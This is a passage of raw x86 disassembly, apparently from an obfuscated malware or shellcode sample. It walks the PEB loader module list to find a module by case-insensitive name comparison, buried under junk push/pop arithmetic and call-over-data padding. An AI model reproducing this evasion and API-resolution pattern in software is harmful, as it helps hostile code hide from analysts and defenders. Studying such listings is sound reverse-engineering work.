cmp dword [ebp - 0xc30], 0
jne 0x46d8a5
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x46d8b6
jmp 0x46d68f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x46d991
push esi
call 0x46d8d4
add byte [eax + 0x3c], dl
inc edx
inc edx
push eax
inc ebx
inc edi
aaa
inc ebp
add esp, 4
jmp 0x46d8de
jmp 0x46d8e6
xor esi, 0xc897
pop esi
push edi
xor edi, 0x13165
pop edi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
push eax
add esp, 4
or edx, 0x5799
jmp 0x46d915
pop edx
push ebx
push edx
add esp, 4
add ebx, 0xbbef
call 0x46d92f
add byte [edi], bh
inc edi
dec esp
xor esi, dword [0x83393d33]
les eax, [ebx + ebx*2]
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x46d991
push ecx
push edi
add esp, 4
sub ecx, 0xaee6
sub ecx, 0x17ec4
or ecx, 0xef03
pop ecx
push edx
and edx, 0x724b
sub edx, 0xbd5d
add edx, 0x12114
or edx, 0x13330
pop edx
mov dword [ebp - 0x738], 0
jmp 0x46e07b
push edi
push edi
add esp, 4
or edi, 0xbdea
sub edi, 0xfcc4
and edi, 0x714a
pop edi
push esi
jmp 0x46d9af
xor esi, 0x5722
jmp 0x46d9bc
sub esi, 0x12169
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ebx
push edx
add esp, 4
sub ebx, 0xdb40
xor ebx, 0x1740a
and ebx, 0x18151
and ebx, 0x1684e
pop ebx
push ebx
or ebx, 0x12723
xor ebx, 0x16fe1
sub ebx, 0xa47f
pop ebx
cmp dword [ebp - 0x14f4], 0
jne 0x46da34
mov dword [ebp - 0x2e0], 0
jmp 0x46dcdb
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edi
push ecx
add esp, 4
sub edi, 0xffdc
call 0x46da5f
add byte [esi], dh
dec esp
inc ebx
aaa
inc esi
dec ebx
dec eax
cmp al, byte [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
xor bh, byte [eax]
inc ebx
dec esi
add esp, 4
and edi, 0xa911
pop edi
cmp dword [ebp - 0xc3c], 0
jne 0x46da90
mov dword [ebp - 0x2e0], 0
jmp 0x46dcdb
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push esi
push edi
add esp, 4
jmp 0x46daa9
add esi, 0xfaed
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0xe529
or ebx, 0x17a06
pop ebx
push eax
push edx
add esp, 4
or eax, 0xac4b
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push ecx
add esp, 4
xor esi, 0x1624c
pop esi
push edi
push ebx
add esp, 4
call 0x46db18
add byte [edx], bh
dec edx
dec ebp
dec esp
dec ebp
cmp al, 0x4b
inc ecx
add esp, 4
jmp 0x46db23
add edi, 0xadd8
pop edi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push ecx
add esp, 4
xor esi, 0x14b23
call 0x46db99
add byte [edi], bh
xor eax, dword [eax + 0x4c]
cmp eax, 0xc4835050
add al, 0xe8
pop es
add byte [eax], al
add byte [eax], al
inc esi
aas
inc ecx
inc ebx
dec ebp
add esp, 4
jmp 0x46dbb2
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x46dbd0
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x46dc2a
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x46daf8
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x46daf8
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x46dc14
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x46dc1e
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x46dc73
push esi
push esi
add esp, 4
and esi, 0xa02d
call 0x46dc4c
add byte [edi], dh
dec ebx
cmp al, 0x34
xor al, 0x39
cmp eax, 0x4c48345
call 0x46dc5b
add byte [0x42444346], dh
push eax
add esp, 4
and esi, 0x6b60
pop esi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x46dcdb
push edx
push ecx
add esp, 4
xor edx, 0x15f9
or edx, 0x9a70
add edx, 0x146b0
and edx, 0x16f09
pop edx
push edi
xor edi, 0x16493
add edi, 0x8069
add edi, 0x13d04
pop edi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x46dcd1
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x46da9c
mov dword [ebp - 0x2e0], 0
push esi